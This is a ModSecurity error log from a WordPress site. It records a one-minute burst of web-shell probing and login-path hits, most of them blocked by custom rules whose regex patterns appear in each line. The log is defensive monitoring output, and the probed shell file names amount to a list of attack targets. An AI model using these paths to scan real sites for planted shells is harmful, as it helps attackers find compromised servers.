[Sun Mar 01 04:28:01.548252 2026] [:error] [pid 21263:tid 21285] [client 81.199.26.60:39233] [client 81.199.26.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aaNP0dAxjzLvN1upBhmzPwAAANI"]
[Sun Mar 01 04:28:05.235622 2026] [:error] [pid 21263:tid 21284] [client 85.203.15.102:37755] [client 85.203.15.102] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aaNP1dAxjzLvN1upBhmzUQAAANE"]
[Sun Mar 01 04:28:06.091252 2026] [:error] [pid 21158:tid 21210] [client 81.199.26.61:53801] [client 81.199.26.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aaNP1jriSIe3-pWnbPbJyAAAAFE"]
[Sun Mar 01 04:28:07.482932 2026] [:error] [pid 21263:tid 21279] [client 81.199.26.54:48905] [client 81.199.26.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aaNP19AxjzLvN1upBhmzYAAAAMw"]
[Sun Mar 01 04:28:08.822978 2026] [:error] [pid 21159:tid 21225] [client 85.203.15.159:24183] [client 85.203.15.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aaNP2OLi3ouy1NZIkgoDoQAAAIQ"]
[Sun Mar 01 04:28:10.846109 2026] [:error] [pid 21263:tid 21290] [client 85.203.15.169:42083] [client 85.203.15.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aaNP2tAxjzLvN1upBhmzdgAAANc"]
[Sun Mar 01 04:28:11.696889 2026] [:error] [pid 21158:tid 21204] [client 85.203.15.153:25139] [client 85.203.15.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aaNP2zriSIe3-pWnbPbJ4wAAAEs"]
[Sun Mar 01 04:28:12.548958 2026] [:error] [pid 21263:tid 21288] [client 81.199.26.65:23133] [client 81.199.26.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aaNP3NAxjzLvN1upBhmzewAAANU"]
[Sun Mar 01 04:28:13.109312 2026] [:error] [pid 21159:tid 21235] [client 85.203.15.171:51437] [client 85.203.15.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aaNP3eLi3ouy1NZIkgoDrQAAAI4"]
[Sun Mar 01 04:28:13.718905 2026] [:error] [pid 21156:tid 21188] [client 85.203.15.224:44067] [client 85.203.15.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aaNP3asaG_9IkG8N2p3YVgAAABY"]
[Sun Mar 01 04:28:15.149658 2026] [:error] [pid 21159:tid 21225] [client 85.203.15.171:55817] [client 85.203.15.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aaNP3-Li3ouy1NZIkgoDvAAAAIQ"]
[Sun Mar 01 04:28:15.737299 2026] [:error] [pid 21263:tid 21269] [client 85.203.15.99:57913] [client 85.203.15.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aaNP39AxjzLvN1upBhmzgwAAAMI"]
[Sun Mar 01 04:28:16.288488 2026] [:error] [pid 21159:tid 21223] [client 85.203.15.100:51759] [client 85.203.15.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aaNP4OLi3ouy1NZIkgoDxwAAAII"]
[Sun Mar 01 04:28:19.191353 2026] [:error] [pid 21158:tid 21194] [client 81.199.26.54:62173] [client 81.199.26.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aaNP4zriSIe3-pWnbPbKAgAAAEE"]
[Sun Mar 01 04:28:20.698931 2026] [:error] [pid 21159:tid 21222] [client 85.203.15.220:51479] [client 85.203.15.220] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.15.220, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aaNP5OLi3ouy1NZIkgoD5AAAAIE"]
[Sun Mar 01 04:28:24.320875 2026] [:error] [pid 21159:tid 21226] [client 85.203.15.220:51479] [client 85.203.15.220] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aaNP6OLi3ouy1NZIkgoEBwAAAIU"]
[Sun Mar 01 04:28:25.524294 2026] [:error] [pid 21158:tid 21207] [client 85.203.15.224:24521] [client 85.203.15.224] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.15.224, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aaNP6TriSIe3-pWnbPbKLwAAAE4"]
[Sun Mar 01 04:28:26.147667 2026] [:error] [pid 21158:tid 21193] [client 85.203.15.224:24521] [client 85.203.15.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/item.php"] [unique_id "aaNP6jriSIe3-pWnbPbKNwAAAEA"]
[Sun Mar 01 04:28:29.390513 2026] [:error] [pid 21159:tid 21232] [client 81.199.26.62:64379] [client 81.199.26.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aaNP7eLi3ouy1NZIkgoEPwAAAIs"]
[Sun Mar 01 04:28:32.433094 2026] [:error] [pid 21158:tid 21196] [client 85.203.15.168:49013] [client 85.203.15.168] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aaNP8DriSIe3-pWnbPbKTgAAAEM"]
[Sun Mar 01 04:28:34.176962 2026] [:error] [pid 21263:tid 21268] [client 85.203.15.231:61811] [client 85.203.15.231] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aaNP8tAxjzLvN1upBhm0NgAAAME"]
[Sun Mar 01 04:28:35.819934 2026] [:error] [pid 21158:tid 21202] [client 85.203.15.175:52489] [client 85.203.15.175] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.15.175, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aaNP8zriSIe3-pWnbPbKXgAAAEk"]
[Sun Mar 01 04:28:36.122063 2026] [:error] [pid 21158:tid 21194] [client 85.203.15.175:52489] [client 85.203.15.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aaNP9DriSIe3-pWnbPbKYgAAAEE"]
[Sun Mar 01 04:28:41.764593 2026] [:error] [pid 24576:tid 24581] [client 85.203.15.102:22535] [client 85.203.15.102] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aaNP-Yvfb5CnctJh0724lAAAAQI"]
[Sun Mar 01 04:28:43.308216 2026] [:error] [pid 24576:tid 24579] [client 85.203.15.175:37699] [client 85.203.15.175] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.15.175, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aaNP-4vfb5CnctJh0724nAAAAQA"]
[Sun Mar 01 04:28:44.444410 2026] [:error] [pid 24576:tid 24583] [client 85.203.15.175:37699] [client 85.203.15.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aaNP_Ivfb5CnctJh0724owAAAQQ"]
[Sun Mar 01 04:28:45.669165 2026] [:error] [pid 21263:tid 21269] [client 85.203.15.82:56717] [client 85.203.15.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/infi.php"] [unique_id "aaNP_dAxjzLvN1upBhm0fAAAAMI"]
[Sun Mar 01 04:28:46.920172 2026] [:error] [pid 21159:tid 21227] [client 85.203.15.232:62913] [client 85.203.15.232] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aaNP_uLi3ouy1NZIkgoEXQAAAIY"]
[Sun Mar 01 04:28:48.456165 2026] [:error] [pid 24576:tid 24602] [client 85.203.15.167:58839] [client 85.203.15.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aaNQAIvfb5CnctJh0724uwAAARY"]
[Sun Mar 01 04:28:49.021063 2026] [:error] [pid 21263:tid 21278] [client 85.203.15.231:29109] [client 85.203.15.231] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aaNQAdAxjzLvN1upBhm0gwAAAMs"]
[Sun Mar 01 04:28:52.166782 2026] [:error] [pid 21156:tid 21173] [client 81.199.26.66:52549] [client 81.199.26.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aaNQBKsaG_9IkG8N2p3YzQAAAAc"]
[Sun Mar 01 04:28:53.092771 2026] [:error] [pid 21158:tid 21198] [client 85.203.15.232:36891] [client 85.203.15.232] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "aaNQBTriSIe3-pWnbPbKggAAAEU"]
[Sun Mar 01 04:28:54.557725 2026] [:error] [pid 21159:tid 21221] [client 81.199.26.60:29883] [client 81.199.26.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/edit.php"] [unique_id "aaNQBuLi3ouy1NZIkgoEdQAAAIA"]
[Sun Mar 01 04:28:56.035499 2026] [:error] [pid 24576:tid 24588] [client 85.203.15.172:39919] [client 85.203.15.172] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aaNQCIvfb5CnctJh07249QAAAQk"]
[Sun Mar 01 04:28:57.283801 2026] [:error] [pid 21158:tid 21209] [client 81.199.26.53:29287] [client 81.199.26.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/click.php"] [unique_id "aaNQCTriSIe3-pWnbPbKpwAAAFA"]
[Sun Mar 01 04:28:58.710531 2026] [:error] [pid 21158:tid 21194] [client 85.203.15.222:58587] [client 85.203.15.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aaNQCjriSIe3-pWnbPbKsAAAAEE"]
[Sun Mar 01 04:29:01.441016 2026] [:error] [pid 24576:tid 24585] [client 85.203.15.99:37057] [client 85.203.15.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aaNQDYvfb5CnctJh0725LAAAAQY"]
[Sun Mar 01 04:29:02.071409 2026] [:error] [pid 21156:tid 21167] [client 85.203.15.164:60945] [client 85.203.15.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "aaNQDqsaG_9IkG8N2p3Y0QAAAAE"]
[Sun Mar 01 04:29:02.693189 2026] [:error] [pid 24576:tid 24601] [client 81.199.26.64:51075] [client 81.199.26.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aaNQDovfb5CnctJh0725QQAAARU"]
[Sun Mar 01 04:29:03.330104 2026] [:error] [pid 24576:tid 24592] [client 81.199.26.62:27247] [client 81.199.26.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aaNQD4vfb5CnctJh0725TgAAAQw"]
[Sun Mar 01 04:29:04.325548 2026] [:error] [pid 21158:tid 21206] [client 85.203.15.160:50113] [client 85.203.15.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aaNQEDriSIe3-pWnbPbKxgAAAE0"]
[Sun Mar 01 04:29:04.923624 2026] [:error] [pid 21263:tid 21288] [client 85.203.15.167:35017] [client 85.203.15.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aaNQENAxjzLvN1upBhm0tQAAANU"]
[Sun Mar 01 04:29:06.067798 2026] [:error] [pid 21159:tid 21230] [client 81.199.26.57:35751] [client 81.199.26.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aaNQEuLi3ouy1NZIkgoEiwAAAIk"]
[Sun Mar 01 04:29:06.634467 2026] [:error] [pid 21156:tid 21170] [client 85.203.15.169:41339] [client 85.203.15.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aaNQEqsaG_9IkG8N2p3Y0wAAAAQ"]
[Sun Mar 01 04:29:08.639134 2026] [:error] [pid 21263:tid 21275] [client 85.203.15.102:28337] [client 85.203.15.102] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "aaNQFNAxjzLvN1upBhm0xAAAAMg"]
[Sun Mar 01 04:29:09.219299 2026] [:error] [pid 24576:tid 24600] [client 85.203.15.159:22757] [client 85.203.15.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "aaNQFYvfb5CnctJh0725eAAAARQ"]
[Sun Mar 01 04:29:10.404503 2026] [:error] [pid 21159:tid 21233] [client 81.199.26.53:64641] [client 81.199.26.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aaNQFuLi3ouy1NZIkgoEoAAAAIw"]
[Sun Mar 01 04:29:11.589152 2026] [:error] [pid 24576:tid 24595] [client 85.203.15.160:61539] [client 85.203.15.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "aaNQF4vfb5CnctJh0725jQAAAQ8"]
[Sun Mar 01 04:29:13.433438 2026] [:error] [pid 24576:tid 24593] [client 85.203.15.168:49957] [client 85.203.15.168] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aaNQGYvfb5CnctJh0725ogAAAQ0"]
[Sun Mar 01 04:29:16.629231 2026] [:error] [pid 21158:tid 21198] [client 85.203.15.164:64933] [client 85.203.15.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "aaNQHDriSIe3-pWnbPbK4AAAAEU"]
[Sun Mar 01 04:29:19.202912 2026] [:error] [pid 21159:tid 21232] [client 85.203.15.162:44993] [client 85.203.15.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "aaNQH-Li3ouy1NZIkgoEsgAAAIs"]
[Sun Mar 01 04:29:19.830859 2026] [:error] [pid 24576:tid 24592] [client 81.199.26.56:54507] [client 81.199.26.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aaNQH4vfb5CnctJh07250QAAAQw"]
